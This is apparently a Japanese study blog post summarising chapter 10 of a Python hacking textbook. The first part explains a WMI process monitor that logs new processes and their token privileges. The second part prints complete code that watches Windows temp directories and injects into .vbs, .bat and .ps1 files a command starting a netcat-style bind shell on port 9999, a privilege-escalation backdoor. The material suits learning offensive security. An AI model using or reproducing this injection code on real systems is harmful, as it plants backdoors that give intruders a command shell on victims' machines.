サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考 10章 勉強まとめ

nnpo.hatenablog.com


WMIを使用したプロセス監視,Windowsにおけるトークンと権限

WMI(Windows Management Instrumentation)は、Windows OSにおけるシステム管理のための共通基盤アーキテクチャであり、システムに関するさまざまなインベントリ情報(ハードウェアやソフトウェアの情報といったシステム情報のほか、プロセスやサービス、ユーザーやグループといった動的な情報まで)を、取得・管理する機能を提供している(WMIは、システム管理のためのオープンな標準規約WBEM:Web-Based Enterprise ManagementをWindows OS向けに実装したもの)。

引用元:

Tech TIPS:WindowsでWMIとwmicコマンドを使ってシステムを管理する(基本編) - @IT

# -*- coding:utf-8 -*-

import win32con
import win32api
import win32security

import wmi
import sys
import os

def get_process_privileges(pid):
    try:
        #対象のプロセスへのハンドルを取得
        hproc = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION,False,pid)

        #メインのプロセストークンを開く
        htok = win32security.OpenProcessToken(hproc,win32con.TOKEN_QUERY)

        #有効化されている権限のリストを取得
        privs = win32security.GetTokenInformation(htok,win32security.TokenPrivileges)
        
        #権限をチェックして、有効化されているものだけを出力するループ
        priv_list = ""
        for i in privs:
            #権限が有効化されているかチェック
            if i[1] == 3:
                priv_list += "{}|".format(win32security.LookupPrivilegeName(None,i[0]))
    except:
        priv_list = "N/A"

    return priv_list

def log_to_file(message):
    fd = open("process_monitor_log.csv", "ab")
    fd.write("{}\r\n".format(message).encode())
    fd.close()

    return

#ログファイルのヘッダーの作成
log_to_file("Time,User,Executable,CommandLine,PID,Parent PID,Privileges")

#WMIインターフェースのインスタンス化
c = wmi.WMI()

#プロセス監視の開始
process_watcher = c.Win32_Process.watch_for("creation")

while True:
    try:
        new_process = process_watcher()

        proc_owner  = new_process.GetOwner()
        proc_owner  = "{0}\\{1}".format(proc_owner[0], proc_owner[2])
        create_date = new_process.CreationDate
        executable  = new_process.ExecutablePath
        cmdline     = new_process.CommandLine
        pid         = new_process.ProcessId
        parent_pid  = new_process.ParentProcessId

        privileges  = get_process_privileges(pid)

        process_log_message = "{0},{1},{2},{3},{4},{5},{6}\r\n".format(create_date, proc_owner, executable, cmdline, pid, parent_pid, privileges)

        print(process_log_message)

    except:
        pass

import win32con

import win32api

import win32security

pywin32をインポートすると使えるようになるモジュール。Windowsが提供するAPIを利用できる。

8章でやったように、ctypesを用いてネイティブAPI呼び出しに置き換えることを出来る。

モジュールの詳細は以下参照。

Modules

hproc = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION,False,pid)

対象プロセスへのハンドルを取得。

win32api__OpenProcess_meth.html

OpenProcess 関数

htok = win32security.OpenProcessToken(hproc,win32con.TOKEN_QUERY)

メインのプロセストークンを取得。

win32security__OpenProcessToken_meth.html

OpenProcessToken 関数

desiredAccessに関しては以下参照。

Access Rights for Access-Token Objects (Windows)

privs = win32security.GetTokenInformation(htok,win32security.TokenPrivileges)

有効化されている権限のリストを取得。

win32security__GetTokenInformation_meth.html

TOKEN_INFORMATION_CLASS enumeration (Windows)

TOKEN_PRIVILEGES structure (Windows)

win32security.LookupPrivilegeName(None,i[0])

権限の名前を取得。

win32security__LookupPrivilegeName_meth.html

import wmi

c = wmi.WMI()

wmiを使う最初の流れ。

日本語の情報が少なくて苦戦。

Contents — WMI v1.4.9 documentation

process_watcher = c.Win32_Process.watch_for("creation")

プロセスの生成と終了のイベントを監視できる。詳細な情報が欲しい場合は、"operation"と指定する。

http://timgolden.me.uk/python/wmi/tutorial.html#monitoring

new_process = process_watcher()

新しいプロセスのイベントを取得。

proc_owner = new_process.GetOwner()

create_date = new_process.CreationDate

executable = new_process.ExecutablePath

cmdline = new_process.CommandLine

pid = new_process.ProcessId

parent_pid = new_process.ParentProcessId

新しいプロセスのイベントは、WMIのWin32_Processクラスが情報を持っているらしい。

Win32_Process class (Windows)

英語で読みづらい……と思っていたら、日本語で解説してくれているのを発見。ありがたい。

www.wmifun.net


# -*- coding:utf-8 -*-
# こちらのコードをもとに修正を加えた:
# http://timgolden.me.uk/python/win32_how_do_i/watch_directory_for_changes.html
import tempfile
import threading
import win32file
import win32con
import os

# 共通の一時ディレクトリ
dirs_to_monitor = ["C:\\WINDOWS\\Temp",tempfile.gettempdir()]

# ファイルへの変更に関する定数
FILE_CREATED      = 1
FILE_DELETED      = 2
FILE_MODIFIED     = 3
FILE_RENAMED_FROM = 4
FILE_RENAMED_TO   = 5

# 拡張子ベースでインジェクションする対象を選択する
file_types         = {}
command = "C:\\WINDOWS\\TEMP\\bhnet.exe –l –p 9999 –c"
file_types['.vbs'] = ["\r\n'bhpmarker\r\n","\r\nCreateObject(\"Wscript.Shell\").Run(\"{}\")\r\n".format(command)]
file_types['.bat'] = ["\r\nREM bhpmarker\r\n","\r\n{}\r\n".format(command)]
file_types['.ps1'] = ["\r\n#bhpmarker","Start-Process \"{}\"".format(command)]

def inject_code(full_filename,extension,contents):
    
    # すでに特定のマーカーが対象のファイルに含まれているか?
    if file_types[extension][0] in contents:
        return
    
    # マーカーはない。マーカーとコードをインジェクションする
    full_contents  = file_types[extension][0]
    full_contents += file_types[extension][1]
    full_contents += contents
    
    
    fd = open(full_filename,"wb")
    fd.write(full_contents)
    fd.close()

    print("[\o/] Injected code.")
    
    return
    

def start_monitor(path_to_watch):
    
    # フォルダを監視するスレッド本体
    FILE_LIST_DIRECTORY = 0x0001

    h_directory = win32file.CreateFile(
        path_to_watch,
        FILE_LIST_DIRECTORY,
        win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE,
        None,
        win32con.OPEN_EXISTING,
        win32con.FILE_FLAG_BACKUP_SEMANTICS,
        None)

    while 1:
        try:
            results = win32file.ReadDirectoryChangesW(
                h_directory,
                1024,
                True,
                win32con.FILE_NOTIFY_CHANGE_FILE_NAME |
                win32con.FILE_NOTIFY_CHANGE_DIR_NAME |
                win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES |
                win32con.FILE_NOTIFY_CHANGE_SIZE |
                win32con.FILE_NOTIFY_CHANGE_LAST_WRITE |
                win32con.FILE_NOTIFY_CHANGE_SECURITY,
                None,
                None
                )

            for action,file_name in results:
                full_filename = os.path.join(path_to_watch, file_name)
                
                if action == FILE_CREATED:
                    print("[ + ] Created {}".format(full_filename))
                elif action == FILE_DELETED:
                    print("[ - ] Deleted {}".format(full_filename))
                elif action == FILE_MODIFIED:
                    print("[ * ] Modified {}".format(full_filename))
                    
                    # ファイル内容のダンプ出力
                    print("[vvv] Dumping contents...")
                    
                    try:
                        fd = open(full_filename,"rb")
                        contents = fd.read()
                        fd.close()
                        print(contents)
                        print("[^^^] Dump complete.")
                    except:
                        print("[!!!] Failed.")
                    
                    filename,extension = os.path.splitext(full_filename)
                    
                    if extension in file_types:
                        inject_code(full_filename,extension,contents)
                    
                elif action == FILE_RENAMED_FROM:
                    print("[ > ] Renamed from: {}".format(full_filename))
                elif action == FILE_RENAMED_TO:
                    print("[ < ] Renamed to: {}".format(full_filename))
                else:
                    print("[???] Unknown: {}".format(full_filename))
        except:
            pass
        
        
for path in dirs_to_monitor:
    monitor_thread = threading.Thread(target=start_monitor,args=(path,))
    print("Spawning monitoring thread for path: {}".format(path))
    monitor_thread.start()